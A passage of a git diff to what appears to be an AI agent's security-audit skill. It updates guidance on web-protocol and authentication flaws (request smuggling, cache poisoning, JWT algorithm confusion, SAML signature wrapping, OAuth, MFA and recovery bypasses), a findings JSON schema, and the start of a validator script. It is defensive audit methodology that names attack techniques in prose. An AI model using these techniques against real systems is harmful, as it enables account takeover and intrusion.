final quality gate. Do not skip it. +Keep the report proportional to the evidence. A clean run may have zero confirmed records. State that result and the remaining coverage/validation limits without inventing LOW findings. diff --git a/.agents/skills/security-audit/WEB-PROTOCOL-AND-AUTH.md b/.agents/skills/security-audit/WEB-PROTOCOL-AND-AUTH.md index 0294c3e..1a099fa 100644 --- a/.agents/skills/security-audit/WEB-PROTOCOL-AND-AUTH.md +++ b/.agents/skills/security-audit/WEB-PROTOCOL-AND-AUTH.md @@ -2,84 +2,104 @@ #### When to use this file -Reach for this file when the target speaks HTTP at a layer where parsing, caching, or identity decisions happen: reverse proxies, CDNs, API gateways, load balancers, custom HTTP servers and parsers, and any app that builds responses or URLs from request metadata — and whenever it implements or consumes an auth protocol (sessions, JWTs, OAuth/OIDC, SAML, or password-reset flows). These are the classes `ATTACK-CLASSES.md` treats only in passing: the injection class covers *content*, but not the request/response framing or the identity-token machinery, which have their own specific, high-hit-rate bug patterns. +Reach for this file when the target speaks HTTP at a parsing, caching, browser-authentication, or identity boundary: web applications, APIs, reverse proxies, CDNs, gateways, custom HTTP servers, and services implementing sessions, JWT, OAuth/OIDC, SAML, password recovery, MFA, passkeys, API keys, or mTLS. Use this with `ATTACK-CLASSES.md`: access-control review asks whether a principal may perform an operation; this file asks whether the HTTP or identity layer can confuse which principal, request, assurance level, or token the operation belongs to. -Use alongside `ATTACK-CLASSES.md`. Access control there answers "is the check present and correct"; this file answers "can the attacker forge, replay, or confuse the identity the check runs on, or desync the request the check applies to." - -Pick the relevant classes based on Phase 1; split per subsystem (framing/proxy layer, token verification, session store) for large targets. A pure single-server app behind a managed CDN has little smuggling surface; a custom proxy or a service that trusts `X-Forwarded-*` has a lot. +Pick classes from Phase 1. Split a large target into request framing and cache policy, browser authentication, federated identity, strong authentication and recovery, service credentials, and session lifecycle. A single server behind an unobserved managed proxy has little source-confirmable smuggling surface; a proxy or custom parser has much more. ## Core discipline (include in every agent prompt for this domain) ``` -- Framing bugs live in DISAGREEMENT, not in one parser. Request smuggling and cache poisoning exist because two components interpret the same bytes differently. Find the two components and the byte they disagree on; a single correct parser in isolation is not the finding. -- A signature you don't verify is decoration. For every token (JWT, SAML, cookie), find the exact line that verifies the signature AND the claims that apply to that token type (for JWT/OIDC: exp, aud, iss, nonce) — and that the algorithm is pinned server-side, not read from the token header. "It's signed" means nothing if nothing checks the signature with the right key and algorithm. -- Every use of Host, X-Forwarded-*, Forwarded, or a request-derived URL is a trust decision. Trace it to what it controls: a reset link, a cache key, a redirect, an access check. -- Reflected input in a security-relevant response field (Set-Cookie, Location, cache key, an absolute URL sent to a victim) — trace it to a cross-user impact (poisoned cache entry, redirect or token sent to a victim, cookie set in another context) even when it isn't classic XSS. +- Framing and cache findings require two interpretations of the same request, response, or key. Name both components and the exact normalized value on each side. +- For every credential, find the signature or secret verification and every binding required for its role: issuer, audience, origin, RP, client, session, principal, resource, assurance, expiry, and one-time state. +- Host, Forwarded, X-Forwarded-*, Origin, Referer, redirect targets, callback state, and request-derived URLs are trust decisions. Trace each to the affected identity or response. +- A missing header, cookie attribute, MFA prompt, or rate limit is not a finding alone. Require an accepted invalid request, cross-principal impact, assurance downgrade, or credential disclosure. +- Classify `confirmed` only from complete source evidence and bounded local request/token tests. Use `needs_validation` when proxy, IdP, browser, certificate, secret, or deployed configuration is required but not visible. ``` -## HTTP request-framing attack classes (subagent_type: `general`) +## HTTP framing and cache attack classes (subagent_type: `general`) + +**Request framing and desynchronization** +Front end and back end disagree on request length or header normalization. Review multiple `Content-Length` values, `Transfer-Encoding`, HTTP/2 or HTTP/3 downgrade, header-name normalization, forbidden connection headers, and CR/LF conversion. Confirm which bytes one component assigns to a request and which bytes its peer assigns to the next request. + +**Web cache poisoning through unkeyed input** +A request value changes cached content or security-relevant headers but is absent from the cache key. Compare cache key construction with every response variant, including forwarded host/scheme, selected cookies, query normalization, language/device headers, and authorization state. + +**Cache deception and private-response caching** +Cache routing treats a private dynamic path as a public static asset, or caches a response whose identity and authorization inputs are missing from policy. Compare edge cacheability with application route parsing, suffix/path-parameter normalization, and response cache directives. + +**Host and forwarded-header trust** +Untrusted host/proxy metadata determines absolute URLs, tenant routing, callbacks, reset links, cache keys, or the client address used by authorization. Confirm who can supply the header and whether trusted ingress removes client-provided copies. + +**Response-header injection** +Untrusted data reaches `Location`, `Set-Cookie`, CSP, or another response header with unsafe control characters or normalization. Verify framework rejection before reporting and require a security-relevant response change. + +## Browser-session attack classes (subagent_type: `general`) + +**Ordinary CSRF** +A browser sends ambient credentials to a state-changing endpoint that accepts a cross-site request without an effective anti-CSRF token, same-site request binding, or strict Origin/Referer validation. Inventory every cookie-authenticated mutation, including form, JSON-like, multipart, method-override, and legacy routes. SameSite is effective only for the cookie and browser contexts actually used; login CSRF and cross-site subresource requests can have different requirements. + +**Session fixation and invalidation** +Session identifiers are not rotated on login, account switch, MFA completion, impersonation, or other privilege changes, or remain valid after logout, password change, revocation, and account disable. Check server sessions, refresh tokens, signed cookies, websocket state, cache copies, and fallback endpoints. + +**Cookie scope and transport** +A sensitive cookie has an over-broad `Domain` or `Path`, can cross an insecure transport, or conflicts with a sibling cookie that another component selects differently. Bare missing flags remain hardening notes unless a realistic less-trusted origin, network position, or browser path can gain or replace the credential. + +## Federated-identity attack classes (subagent_type: `general`) + +First establish role. Authorization-server controls such as redirect allowlisting and code issuance do not belong to a relying-party client. Verification and binding defects belong to the component consuming the artifact. + +**JWT verification and claim binding** +Check signature verification, server-pinned algorithm and key source, then `exp`, `nbf`, `aud`, and `iss`. Review `kid`, `jku`, and `x5u` as untrusted key selectors, duplicate/header normalization, and decode-without-verify paths. A valid token for another service is invalid here even when signed by a trusted issuer. + +**OAuth/OIDC request and callback binding** +Validate exact `redirect_uri` ownership where the target is the authorization server; session-bound `state`; PKCE and authorization-code binding where applicable; ID-token issuer/audience/signature/nonce; and selected-IdP binding in multi-provider flows. Compare initial callback, retry, mobile/deep-link, and account-link routes. -**Request smuggling / desync** -A discrepancy in how two components (front proxy vs back-end, or HTTP/2 front vs HTTP/1.1 back) resolve message length. Classic forms: CL.TE, TE.CL, TE.TE (obfuscated `Transfer-Encoding`), and H2 downgrade (H2.CL / H2.TE) where an HTTP/2 front-end forwards to an HTTP/1.1 back-end and the injected `Content-Length`/`Transfer-Encoding` or CRLF in a header value survives. Audit angle: any component that parses HTTP messages itself, forwards requests, or normalizes headers. Look for lenient length handling (accepting both CL and TE, tolerating whitespace/casing/duplicates in `Transfer-Encoding`), and CRLF-in-header-value passthrough on the HTTP/2→1.1 hop. The prize is a request prefix that gets glued onto the *next* user's request. +**SAML signed-object and assertion binding** +Ensure the element whose signature is validated is the element used as identity. Review unsigned/fallback paths, safe XML parser configuration, canonicalization differences, and freshness/binding fields such as validity windows, audience/recipient, request correlation, and replay state. -**Web cache poisoning (unkeyed input)** -An input influences the response but is not part of the cache key, so the attacker's response is stored and served to others. Find the cache key construction, then find every input that changes the response body/headers but is absent from that key — `X-Forwarded-Host`, `X-Forwarded-Scheme`, custom headers, cookies stripped from the key, or a query param the key normalizes away. Reflected unkeyed input that lands in the cached body (a poisoned script src, an `` from `X-Forwarded-Host`) is stored XSS against every cache consumer. +## MFA, passkey, and account-transition attack classes (subagent_type: `general`) -**Cache deception** -Path/extension confusion that makes a dynamic, per-user page get cached as if it were a static asset (`/account/profile.css`, `/api/me;.js`, path-parameter tricks). The back-end serves the user's private page; the cache stores it under a path the attacker can then request. Trace how the cache decides "is this cacheable" versus how the app routes the path — the gap is the bug. +**MFA enrollment and assurance downgrade** +Enrollment, replacement, disablement, recovery-code generation, trusted-device creation, and fallback login require the intended prior assurance. Check that a valid first factor cannot enroll or replace the second factor without policy-required fresh authentication, and that disabled or stale factors stop authorizing sessions. -**Host-header and forwarded-header trust** -`Host` / `X-Forwarded-Host` used to build absolute URLs, routing, or cache keys. The highest-impact sink is password-reset / verification link construction: attacker sets the header, the victim receives a link to the attacker's domain, clicks, and leaks the token. Also: authentication or routing decisions keyed on a spoofable forwarded header. +**Step-up binding and bypass** +A successful challenge upgrades the wrong session, account, tenant, action, or API request, or an alternate route omits the assurance check. Bind the challenge to principal, current session, assurance target, operation or resource when required, expiry, and one-time completion. Compare UI, API, batch, recovery, and resumed-flow paths. -**CRLF / response header injection** -User input reflected into a response header (`Location`, `Set-Cookie`, custom headers) with unescaped CR/LF, letting the attacker inject headers or split the response. Trace user input into any header-setting call; confirm the framework doesn't already strip CR/LF (many do — verify first, see #5). +**WebAuthn and passkey verification** +At registration, bind challenge, RP ID, expected origin, credential, user/userHandle, algorithm, and policy-required user verification to the initiating session. At authentication, verify challenge, RP/origin, credential membership, signature, and intended user presence/verification. Check account-discovery and linking flows for userHandle or credential-to-account confusion. Signature-counter handling is meaningful only when the product treats regressions as a clone signal. -## Authentication-protocol attack classes (subagent_type: `general`) +**Account linking and identity collision** +Adding an IdP, passkey, email, phone, device, or external account to an existing account must require a current authenticated session, verified ownership of the new identity, policy-required step-up, and callback state bound to the account that initiated linking. Review unlink/relink and invite-acceptance paths for verified-identifier or tenant collisions. -First establish which role the target plays — it determines whose duty each control is. `redirect_uri` allowlisting, PKCE enforcement, authorization-code issuance, and assertion signing belong to the **authorization server / IdP**; a **relying-party client** legitimately sends its own `redirect_uri` and consumes tokens, so do not report "no `redirect_uri` allowlist" or "issues codes without PKCE" against a client. Token *verification* defects (below) apply to whichever side validates the token. +**Password reset and broader recovery** +Recovery tokens, support/admin recovery, backup codes, device migration, and email or phone change often become the weakest authentication path. Verify token randomness, user/action binding, expiry, one-time state, rate/accounting controls, delivery URL trust, and invalidation of prior tokens and sessions. Different responses that only reveal public account existence are not automatically security findings. -**JWT verification defects** -The densest source of auth bypasses. Check, in the verification code: -- **`alg` confusion** — `alg: none` accepted, or RS256→HS256 where the server verifies an attacker-forged HS256 token using the *public* key as the HMAC secret. Find where the algorithm is chosen: is it taken from the token header (attacker-controlled) or pinned server-side? -- **Decode without verify** — code that reads claims from a decoded token but never calls the verify function, or ignores its return/exception. -- **Missing claim checks** — `exp` (expiry), `nbf`, `aud` (audience — token for service A replayed at service B), `iss` (issuer). A signature check without claim checks is half a check. -- **Key-selection injection** — `kid`, `jku`, or `x5u` header taken from the token: `kid` used in a file path (traversal) or SQL (injection) to fetch the key, or `jku` pointing at an attacker-hosted JWK Set / `x5u` at an attacker-hosted X.509 cert chain. Attacker names the key that verifies their own forgery. -- **Weak/shared secret** — HMAC secret that's a guessable string or shared across trust domains. +## API-key and mTLS attack classes (subagent_type: `general`) -**OAuth / OIDC flow defects** -- **`redirect_uri` validation** — substring/prefix matching, open-redirect on an allowlisted host, or `redirect_uri` not bound to the client. Leaks the authorization code to the attacker. -- **Missing/weak `state`** — no CSRF token on the callback → login CSRF / forced-login / session fixation of the OAuth flow. (`state` is a session-binding/CSRF control; authorization-code injection is prevented by PKCE and the OIDC `nonce`, not by `state` — don't conflate them.) Confirm `state` is generated, bound to the session, and verified on return. -- **PKCE** — missing on public clients, or `code_verifier` not actually checked against `code_challenge`. -- **`id_token` validation** — audience, issuer, signature, and `nonce` all verified? A token minted for another client accepted here is account takeover. -- **Mix-up / IdP confusion** — multi-IdP flows where the response isn't bound to the IdP the request went to. +**API-key scope and resource binding** +A key authenticates to broader tenants, resources, actions, or environments than its server-side record grants, or request parameters override those bindings. Review key lookup, prefix/full-secret verification, type confusion between publishable and secret keys, scope checks, rotation, revocation caches, and bulk endpoints. -**SAML assertion defects** -- **Signature wrapping (XSW)** — a signed assertion plus an injected unsigned one; the verifier checks the signature on one element but reads identity from another. Find the gap between "what is signature-verified" and "what is read as the authenticated identity." -- **Signature exclusion** — unsigned assertions accepted, or signature verification skippable via a flag/empty-signature path. -- **XXE / DTD** in the XML parser processing assertions. -- **Comment truncation** — a comment inserted into the signed NameID (`admin@company.com.attacker.com`) that canonicalization strips before the signature check (so it still validates) but that truncates identity extraction to the pre-comment text (`admin@company.com`, the victim). Same root as XSW: the bytes the signature covers ≠ the bytes read as identity. -- **Missing replay / binding checks** — even with a valid signature, is the assertion bound and fresh? Check `NotBefore`/`NotOnOrAfter` (validity window), `Recipient`/`Audience` (assertion minted for *this* SP, not replayed from another), `InResponseTo` (bound to a real outstanding request — blocks unsolicited-response injection), and one-time-use (a replayed assertion rejected). The signature checks above prove the assertion wasn't forged; these prove it wasn't stolen and replayed. +**API-key exposure and unsafe transport** +Keys appear in client bundles, URLs, redirects, logs, error paths, build artifacts, or responses accessible to a lower-trust principal. A public identifier called a key is not a secret. Confirm key type and the authority gained by disclosure. -**Session-management defects** -- **Fixation** — session identifier not rotated on privilege change (login, step-up auth). Attacker fixes a known ID, victim authenticates into it. -- **Weak invalidation** — session/token still valid after logout, password change, or revocation; server-side state not cleared (especially stateless JWT sessions with no revocation list). -- **Predictable identifiers** (non-CSPRNG session IDs an attacker can guess/derive), or an overly broad cookie `Domain` that leaks the session cookie to an attacker-controlled sibling subdomain. (Bare "cookie could be shorter-lived" with no leakage path is a hardening note, not a finding.) +**mTLS peer and application-identity confusion** +A process trusts client-certificate identity headers from any network peer, verifies a chain but maps attacker-influenceable subject text to an account incorrectly, or accepts a certificate for the wrong trust domain, extended usage, audience, or validity policy. Where a trusted proxy terminates mTLS, verify only that proxy can connect, it removes incoming identity headers, and the backend binds the sanitized identity to the request. -**Password-reset / account-recovery defects** -- Token not cryptographically bound to the user (reset A's token, use it on B), predictable/short token, no single-use or expiry, token leaked via `Host` header (see above) or `Referer`, or a race that mints multiple valid tokens. Recovery flows are frequently the weakest path to the strongest impact (account takeover). +**Certificate lifecycle fallback** +Expired, revoked, missing, or renewal-failed certificates cause silent fallback to bearer-only or anonymous operation, or long-lived pooled connections retain authorization after revocation. Missing deployment revocation data makes the result `needs_validation`; an in-repo fail-open branch is source-confirmable. ## Universal moves (apply across the above) -- **Diff duplicated request paths side by side.** Where the code has more than one thing that parses or forwards HTTP (a middleware plus the framework, a normalizer plus the router, a legacy API version plus the current one), read them together and feed each the same ambiguous bytes on paper. Divergence is the smuggling/desync bug. -- **Walk the whole token lifecycle.** Issue → store → transmit → verify → refresh → revoke. The bugs live in the transitions the happy path skips: a session still valid after logout, a refresh that never re-checks revocation, a reset token that survives a password change. -- **Enumerate every door to the same identity.** SSO, password login, API key, password reset, impersonation — each is a parallel path that mints a session. The weakest one sets the account's real security; a hardened login means nothing if reset is trivial. -- **Audit the compat/fallback path.** A legacy endpoint version, a deprecated header, or a "for old clients" branch that skips a guard the main path added. Old auth code is where the reverted or forgotten check hides. +- Walk issue → store → transmit → consume → refresh → revoke for every credential and challenge. Compare normal, error, retry, migration, legacy, and account-switch paths. +- Enumerate every door to the same identity and every route to the same sensitive operation. The effective policy is the weakest parallel path, not the most polished UI. +- Diff parser, proxy, router, cache, and application normalization side by side. For local validation, feed identical bounded request fixtures into each component rather than sending traffic to a live deployment. +- For recovery and linking, draw the account before/after graph. Each edge must name the current principal, proof of the new identity, required assurance, callback/session binding, and revocation effect. ## Validation rules (apply before reporting ANY finding here) -1. **Source-visibility gate — this domain lives partly outside the repo.** Framing bugs (proxy chain), cache poisoning/deception (cache-key config), secret strength, and token entropy frequently depend on components, config, or values NOT in the audited tree. If confirming the bug requires a component/config/secret you cannot read, it is **unverifiable from source: flag it "requires deployment testing" and do NOT report it as a confirmed finding.** "Downgrade" is not enough — an unconfirmable HIGH reported as a MEDIUM is still a false positive. -2. **For framing/cache findings, name both components and the divergent parse.** "The Go net/http back-end accepts a bare-LF `Transfer-Encoding` that the front proxy treats as CL" — not "smuggling may be possible." A single server with no proxy in front has no smuggling surface. If you've confirmed only the in-repo half (the back-end genuinely mishandles a specific ambiguous input — bare-LF `Transfer-Encoding`, duplicate CL), record it as a lead with the exact bytes — "requires paired front-end testing" — a real observation, not a severity-rated finding. -3. **For token findings, cite the verification line and what it fails to check.** Point at the `verify`/`decode` call and the missing `alg` pin / `aud` check / signature step. A forged-token claim requires showing the server would accept the forgery, not just that JWTs are in use. Establish the client-vs-server role first — don't fault a client for controls the server owns. -4. **Prove the cross-user impact.** Show the payload reaching a victim's response (cache), request (smuggling), session (fixation), or inbox (reset link). Attacker-only effects are not findings: a `Host` header reflected into a self-referential link the victim never receives out-of-band is a hardening note; a `Host` header controlling a reset link emailed to the victim is a finding. -5. **Verify the framework AND the library default don't already handle it.** Many stacks strip CR/LF from headers, rotate sessions on login, and key caches on `Host` by default; JWT libraries increasingly reject `alg:none` and require an explicit algorithm list — check the library and version, and if you cannot determine the default, treat it as unverifiable rather than assuming it's vulnerable. Only report secret/RNG weakness when the code itself sets a hardcoded/short/derivable value or uses a non-CSPRNG. Confirm the specific defense is absent — do not report a gap the framework or library already closes. -6. **Return ONLY confirmed findings** with the divergent parse or the skipped verification step and the cross-user impact — or "No exploitable protocol/auth issues found" if that's honest. +1. Apply a source-visibility gate. Proxy chains, edge cache keys, IdP policy, certificate trust, browser cookie behavior, secrets, and deployed auth modes may be outside the repository. Record a precise `needs_validation` candidate instead of asserting missing infrastructure behavior. +2. For framing and cache findings, name both components and the divergent parse/key. Confirm cross-request, cross-user, or private-response impact with bounded local fixtures. +3. For token, MFA, passkey, account-link, recovery, API-key, and mTLS findings, cite the verification line and missing principal/session/resource/origin/audience/action/assurance binding. Prove the server accepts the invalid transition or credential. +4. For CSRF, name the ambient credential, state-changing route, accepted cross-site request shape, browser cookie policy, and missing effective check. Read-only actions and routes requiring a non-ambient bearer token do not qualify. +5. Verify framework and library defaults. If version or configuration is unknown, use `needs_validation`; do not turn an unverified critical claim into a lower-severity confirmed finding. +6. Return `confirmed` only with a complete source trace and observable unauthorized identity, state, or disclosure. For `needs_validation`, name the missing fact and safe local or owner-observed check that resolves it. diff --git a/.agents/skills/security-audit/report-schema.json b/.agents/skills/security-audit/report-schema.json index 83039c4..55815a3 100644 --- a/.agents/skills/security-audit/report-schema.json +++ b/.agents/skills/security-audit/report-schema.json @@ -1,34 +1,46 @@ { - "$comment": "Single source of truth for findings.json structure (see SKILL.md Phase 5). validate-findings.cjs reads this file directly and interprets it — there is no second copy of these rules to keep in sync.", - "output_schema": { + "$comment": "Top-level contract for findings.json. validate-findings.cjs interprets and checks this schema directly.", + "type": "array", + "items": { "oneOf": [ { "type": "object", - "description": "Confirmed vulnerability — provide the complete, independently verified report.", + "description": "A source-grounded vulnerability that was independently demonstrated.", "properties": { "verdict": { "type": "string", "const": "confirmed" }, + "fingerprint": { + "type": "string", + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@+-]*$", + "description": "A stable source-derived identifier that does not change between validation states." + }, "title": { "type": "string", - "description": "A concise, standard title for the vulnerability." + "minLength": 1, + "visibleContent": true }, "description": { "type": "string", - "description": "Comprehensive explanation of the vulnerability. Include any reproduction details (proof-of-concept input, configuration, observed output or crash) here." + "minLength": 1, + "visibleContent": true }, "root_cause": { "type": "string", - "description": "One sentence using the template: '[function_or_component] in [file] does not [missing action], allowing [consequence]'. MUST include the function/component name and file name where the defect exists." + "minLength": 1, + "visibleContent": true }, "intended_behavior": { "type": "string", - "description": "What was the developer trying to build? Explain the intended, non-vulnerable business logic." + "minLength": 1, + "visibleContent": true }, "trace": { "type": "array", - "minItems": 2, + "minItems": 1, + "uniqueItems": true, "items": { "type": "object", "properties": { @@ -38,27 +50,55 @@ }, "file": { "type": "string", - "description": "Exact file path relative to repository root." + "minLength": 1 }, "line": { - "type": "integer" + "type": "integer", + "minimum": 1 }, "scope": { "type": "string", - "description": "Bare function or method name. No parentheses, no arguments." + "minLength": 1, + "visibleContent": true }, "description": { "type": "string", - "description": "Factual description of the state change or data movement." + "minLength": 1, + "visibleContent": true } }, "required": ["kind", "file", "line", "scope", "description"], "additionalProperties": false - }, - "description": "Sequential code trace from entrypoint to sink, verified against actual source code. The first step must be kind 'entrypoint', the last must be kind 'sink', and any intermediate steps must be kind 'propagation' (enforced by the validator)." + } + }, + "evidence": { + "type": "array", + "minItems": 1, + "uniqueItems": true, + "items": { + "type": "object", + "properties": { + "file": { + "type": "string", + "minLength": 1 + }, + "line": { + "type": "integer", + "minimum": 1 + }, + "description": { + "type": "string", + "minLength": 1, + "visibleContent": true + } + }, + "required": ["file", "line", "description"], + "additionalProperties": false + } }, "conditions": { "type": "array", + "uniqueItems": true, "items": { "type": "object", "properties": { @@ -67,41 +107,48 @@ "enum": ["authentication_level", "authorization_role", "user_interaction", "system_configuration", "network_routing", "environmental_dependency", "data_state", "timing_dependency", "third_party_dependency"] }, "description": { - "type": "string" + "type": "string", + "minLength": 1, + "visibleContent": true } }, "required": ["kind", "description"], "additionalProperties": false - }, - "description": "Factual prerequisites for exploitation. Empty array if exploitable by default." + } }, "execution": { "type": "object", + "description": "Target-neutral reproduction in the target's native interface.", "properties": { "attacker_perspective": { "type": "string", - "description": "Who is the attacker and their starting point." + "minLength": 1, + "visibleContent": true }, "payloads": { "type": "array", + "minItems": 1, + "uniqueItems": true, "items": { "type": "string" - }, - "description": "Specific malicious inputs, HTTP requests, or scripts." + } }, "instructions": { "type": "array", + "minItems": 1, "items": { - "type": "string" - }, - "description": "Linear array of all attacker actions from setup through exploitation." + "type": "string", + "minLength": 1, + "visibleContent": true + } }, - "expected_result": { + "observed_result": { "type": "string", - "description": "Observable outcome confirming successful exploitation." + "minLength": 1, + "visibleContent": true } }, - "required": ["attacker_perspective", "payloads", "instructions", "expected_result"], + "required": ["attacker_perspective", "payloads", "instructions", "observed_result"], "additionalProperties": false }, "remediation": { @@ -109,7 +156,8 @@ "properties": { "strategy": { "type": "string", - "description": "High-level explanation of the fix." + "minLength": 1, + "visibleContent": true }, "code_changes": { "type": "array", @@ -117,7 +165,8 @@ "type": "object", "properties": { "file_name": { - "type": "string" + "type": "string", + "minLength": 1 }, "fixed_code": { "type": "string" @@ -142,7 +191,9 @@ "enum": ["informational", "low", "medium", "high", "critical"] }, "reason": { - "type": "string" + "type": "string", + "minLength": 1, + "visibleContent": true } }, "required": ["score", "reason"], @@ -156,7 +207,9 @@ "enum": ["informational", "low", "medium", "high", "critical"] }, "reason": { - "type": "string" + "type": "string", + "minLength": 1, + "visibleContent": true } }, "required": ["score", "reason"], @@ -179,30 +232,228 @@ }, "reason": { "type": "string", - "description": "Why you scored the confidence this way. Mention any missing files, complex routing, or ambiguous data flows." + "minLength": 1, + "visibleContent": true } }, "required": ["score", "reason"], "additionalProperties": false } }, - "required": ["verdict", "title", "description", "root_cause", "intended_behavior", "trace", "conditions", "execution", "remediation", "severity", "confidence"], + "required": ["verdict", "fingerprint", "title", "description", "root_cause", "intended_behavior", "trace", "evidence", "conditions", "execution", "remediation", "severity", "confidence"], "additionalProperties": false }, { "type": "object", - "description": "Rejected finding — the described behavior is factually incorrect or the code path does not exist.", + "description": "A source-grounded candidate whose decisive validation is blocked.", + "properties": { + "verdict": { + "type": "string", + "const": "needs_validation" + }, + "fingerprint": { + "type": "string", + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@+-]*$" + }, + "title": { + "type": "string", + "minLength": 1, + "visibleContent": true + }, + "description": { + "type": "string", + "minLength": 1, + "visibleContent": true + }, + "claimed_root_cause": { + "type": "string", + "minLength": 1, + "visibleContent": true + }, + "trace": { + "type": "array", + "minItems": 1, + "uniqueItems": true, + "items": { + "type": "object", + "properties": { + "kind": { + "type": "string", + "enum": ["entrypoint", "propagation", "sink"] + }, + "file": { + "type": "string", + "minLength": 1 + }, + "line": { + "type": "integer", + "minimum": 1 + }, + "scope": { + "type": "string", + "minLength": 1, + "visibleContent": true + }, + "description": { + "type": "string", + "minLength": 1, + "visibleContent": true + } + }, + "required": ["kind", "file", "line", "scope", "description"], + "additionalProperties": false + } + }, + "evidence": { + "type": "array", + "minItems": 1, + "uniqueItems": true, + "items": { + "type": "object", + "properties": { + "file": { + "type": "string", + "minLength": 1 + }, + "line": { + "type": "integer", + "minimum": 1 + }, + "description": { + "type": "string", + "minLength": 1, + "visibleContent": true + } + }, + "required": ["file", "line", "description"], + "additionalProperties": false + } + }, + "blockers": { + "type": "array", + "minItems": 1, + "uniqueItems": true, + "items": { + "type": "string", + "minLength": 1, + "visibleContent": true + } + }, + "validation_plan": { + "type": "object", + "properties": { + "local": { + "type": "string", + "minLength": 1, + "visibleContent": true + }, + "deployment": { + "type": "string", + "minLength": 1, + "visibleContent": true + } + }, + "additionalProperties": false + } + }, + "required": ["verdict", "fingerprint", "title", "description", "claimed_root_cause", "trace", "evidence", "blockers", "validation_plan"], + "additionalProperties": false + }, + { + "type": "object", + "description": "A source-grounded candidate refuted during validation.", "properties": { "verdict": { "type": "string", "const": "rejected" }, + "fingerprint": { + "type": "string", + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@+-]*$" + }, + "title": { + "type": "string", + "minLength": 1, + "visibleContent": true + }, + "description": { + "type": "string", + "minLength": 1, + "visibleContent": true + }, + "claimed_root_cause": { + "type": "string", + "minLength": 1, + "visibleContent": true + }, + "trace": { + "type": "array", + "minItems": 1, + "uniqueItems": true, + "items": { + "type": "object", + "properties": { + "kind": { + "type": "string", + "enum": ["entrypoint", "propagation", "sink"] + }, + "file": { + "type": "string", + "minLength": 1 + }, + "line": { + "type": "integer", + "minimum": 1 + }, + "scope": { + "type": "string", + "minLength": 1, + "visibleContent": true + }, + "description": { + "type": "string", + "minLength": 1, + "visibleContent": true + } + }, + "required": ["kind", "file", "line", "scope", "description"], + "additionalProperties": false + } + }, + "evidence": { + "type": "array", + "minItems": 1, + "uniqueItems": true, + "items": { + "type": "object", + "properties": { + "file": { + "type": "string", + "minLength": 1 + }, + "line": { + "type": "integer", + "minimum": 1 + }, + "description": { + "type": "string", + "minLength": 1, + "visibleContent": true + } + }, + "required": ["file", "line", "description"], + "additionalProperties": false + } + }, "reason": { "type": "string", - "description": "Explain which specific claims in the finding are factually wrong (e.g., code path doesn't exist, mitigation prevents the described flow, trace is incorrect)." + "minLength": 1, + "visibleContent": true } }, - "required": ["verdict", "reason"], + "required": ["verdict", "fingerprint", "title", "description", "claimed_root_cause", "trace", "evidence", "reason"], "additionalProperties": false } ] diff --git a/.agents/skills/security-audit/validate-coverage-ledger.cjs b/.agents/skills/security-audit/validate-coverage-ledger.cjs new file mode 100644 index 0000000..0ef5865 --- /dev/null +++ b/.agents/skills/security-audit/validate-coverage-ledger.cjs @@ -0,0 +1,872 @@ +#!/usr/bin/env node + +/** + * Validates coverage-ledger.json and its canonical coverage IDs. + * Usage: node validate-coverage-ledger.cjs + */ + +const fs = require("node:fs"); +const path = require("node:path"); +const { TextDecoder } = require("node:util"); + +// Conservative bounds apply before JSON.parse and again to the parsed document. +const LIMITS = Object.freeze({ + inputBytes: 5 * 1024 * 1024, + units: 10000, + collectionItems: 1000, + objectFields: 1000, + nestingDepth: 64, + preflightValues: 500000, + validationErrors: 100, +}); +const MAX_INPUT_BYTES = LIMITS.inputBytes; +const MAX_UNITS = LIMITS.units; +const MAX_LIST_ITEMS = LIMITS.collectionItems; +const MAX_TEXT_LENGTH = 4096; +const REQUIRED_FIELDS = [ + "coverage_id", + "canonical_refs", + "surface", + "boundary", + "subsystem", + "attack_class", + "starting_paths", + "ordinary_attack_class_block", + "selected_companion_blocks", + "excluded_blocks", + "prior_status", + "attempts", + "wave", + "status", + "agent_id", + "reviewed_paths", + "local_checks", + "result_fingerprints", + "unresolved", +]; +const REF_FIELDS = ["surface", "boundary", "subsystem", "attack_class"]; +const STATUSES = new Set([ + "planned", + "not_applicable", + "out_of_scope", + "in_progress", + "covered", + "candidate", + "blocked", + "deferred", +]); +const ATTEMPT_STATUSES = new Set(["covered", "candidate", "blocked"]); +const ATTEMPT_FIELDS = [ + "wave", + "status", + "agent_id", + "reviewed_paths", + "local_checks", + "result_fingerprints", + "unresolved", + "reassignment_reason", +]; +const PRIOR_STATUSES = new Set([ + "new", + "prior_confirmed_same_source", + "prior_confirmed_changed_source", + "prior_needs_validation", + "prior_deferred", + "prior_blocked", + "prior_out_of_scope", + "prior_covered_same_source", + "prior_covered_changed_source", + "prior_rejected_claim_changed", + "none", +]); +const FINGERPRINT_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:/@+-]*$/; +const AGENT_ID_PATTERN = /^[a-z0-9][a-z0-9_-]{0,63}$/; +const WINDOWS_RESERVED_AGENT_ID = /^(?:con|prn|aux|nul|com[1-9]|lpt[1-9])$/; +const VISIBLE_CONTENT = /[^\p{White_Space}\p{Cc}\p{Cf}\p{Default_Ignorable_Code_Point}]/u; +const PATH_FORBIDDEN_CHARACTER = /[\p{Cc}\p{Cf}\p{Zl}\p{Zp}\p{Default_Ignorable_Code_Point}]/u; +const WINDOWS_RESERVED_COMPONENT = /^(?:con|prn|aux|nul|clock\$|conin\$|conout\$|com[1-9\u00b9\u00b2\u00b3]|lpt[1-9\u00b9\u00b2\u00b3])(?:\.|$)/iu; +const UTF8_DECODER = new TextDecoder("utf-8", { fatal: true, ignoreBOM: true }); +const UNSAFE_DIAGNOSTIC_CHARACTER = /[\p{Cc}\p{Cf}\p{Cs}\p{Zl}\p{Zp}\p{Default_Ignorable_Code_Point}]/gu; +const MAX_DIAGNOSTIC_STRING_LENGTH = 256; + +const hasOwn = (value, key) => Object.prototype.hasOwnProperty.call(value, key); + +class JsonStructureError extends Error {} +class SafeInputError extends Error {} + +function escapeUnsafeDiagnosticCharacters(value) { + return String(value).replace(UNSAFE_DIAGNOSTIC_CHARACTER, (character) => { + const codePoint = character.codePointAt(0); + return codePoint <= 0xffff + ? `\\u${codePoint.toString(16).padStart(4, "0")}` + : `\\u{${codePoint.toString(16)}}`; + }); +} + +function safeQuote(value) { + let serialized; + if (typeof value === "string") { + const clipped = value.length > MAX_DIAGNOSTIC_STRING_LENGTH + ? `${value.slice(0, 